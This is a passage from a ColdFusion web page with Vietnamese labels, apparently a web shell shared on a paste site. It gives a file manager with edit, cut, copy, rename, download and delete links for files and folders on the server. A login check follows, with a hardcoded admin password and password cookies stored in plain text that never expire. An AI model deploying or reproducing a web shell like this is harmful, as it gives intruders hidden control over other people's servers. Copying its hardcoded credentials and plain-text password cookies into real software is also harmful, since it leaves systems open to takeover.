  664. <a href="?action=edit&scr=#dir##Name#">S&##7917;a</a>|<a href="?action=cut&scr=#dir##Name#">C&##7855;t</a>|<a href="?action=copy&scr=#dir##Name#">Ch&##233;p</a>|<a href="?action=rename&scr=#dir##Name#">&##272;&##7893;i t&##234;n</a>|<a href="?action=down&scr=#dir##Name#">T&##7843;i v&##7873;</a>|<a href="?action=del&scr=#dir##Name#" onCLick="return confirm('Ban co chac la muon xoa tep #Name# ko?')">X&##243;a</a>
  665. <cfelse>
  666. <a href="?action=cutd&scr=#dir##Name#\">C&##7855;t</a>|<a href="?action=copyd&scr=#dir##Name#\">Ch&##233;p</a>|<a href="?action=renamed&scr=#dir##Name#\">&##272;&##7893;i t&##234;n</a>|<a href="?action=deld&scr=#dir##Name#\" onCLick="return confirm('Ban co chac la muon xoa thu muc #Name# ko?')">X&##243;a</a>
  667. </cfif>
  668. </td>
  669. </tr>
  670. </cfoutput>
  671. </table>
  672. </div>
  673. </cfif>
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680.  
  681.  
  682. <!--- End Main --->
  683.  
  684.  
  685.  
  686.  
  687. <cfelseif Not IsDefined("cookie.username")>
  688. <cfform name="articles" ENCTYPE="multipart/form-data">
  689. <center><table width="300" border="0">
  690. <tr>
  691. <td width="50">T?i kho?n:</td>
  692. <td width="50"><input type="text" name="username"></td>
  693. </tr>
  694. <tr>
  695. <td width="50">M?t kh?u:</td>
  696. <td width="50"><input type="password" name="password"></td>
  697. </tr>
  698. <tr>
  699. <td width="50">Ghi nh?:</td>
  700. <td width="50">
  701. <input type="checkbox" name="RememberMe" value="Yes" checked>
  702. <input type="submit" name="Process" value="??ng nh?p">
  703. </td>
  704. </tr>
  705. </table></center>
  706. </cfform>
  707. <cfif IsDefined("username")>
  708. <cfset member_username = "admin">
  709. <cfset member_password = "jose2859">
  710. <cfif #username# neq #member_username#>
  711. <center>T?i kho?n n?y kh?ng t?n t?i!</center>
  712. <cfset structclear(cookie)>
  713. <cfelseif #password# neq #member_password#>
  714. <center>M?t kh?u kh?ng ch?nh x?c!</center>
  715. <cfset structclear(cookie)>
  716. <cfelse>
  717. <cfif IsDefined("RememberMe")>
  718. <cfcookie name="username" value="#form.username#" expires="NEVER">
  719. <cfcookie name="password" value="#form.password#" expires="NEVER">
  720. <cfelse>
  721. <cfcookie name="username" value="#form.username#">
  722. <cfcookie name="password" value="#form.password#">
  723. </cfif>
  724. <cflocation url="?" addtoken="No">
  725. </cfif>
  726. </cfif>
  727. </cfif>
  728.  
  729.  
  730.  
  731.  
  732.  
  733.  
  734. <!--- End Login --->
  735.  
  736.  
  737.  
  738.  
  739.  
  740. <hr>
  741. </body>
  742. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement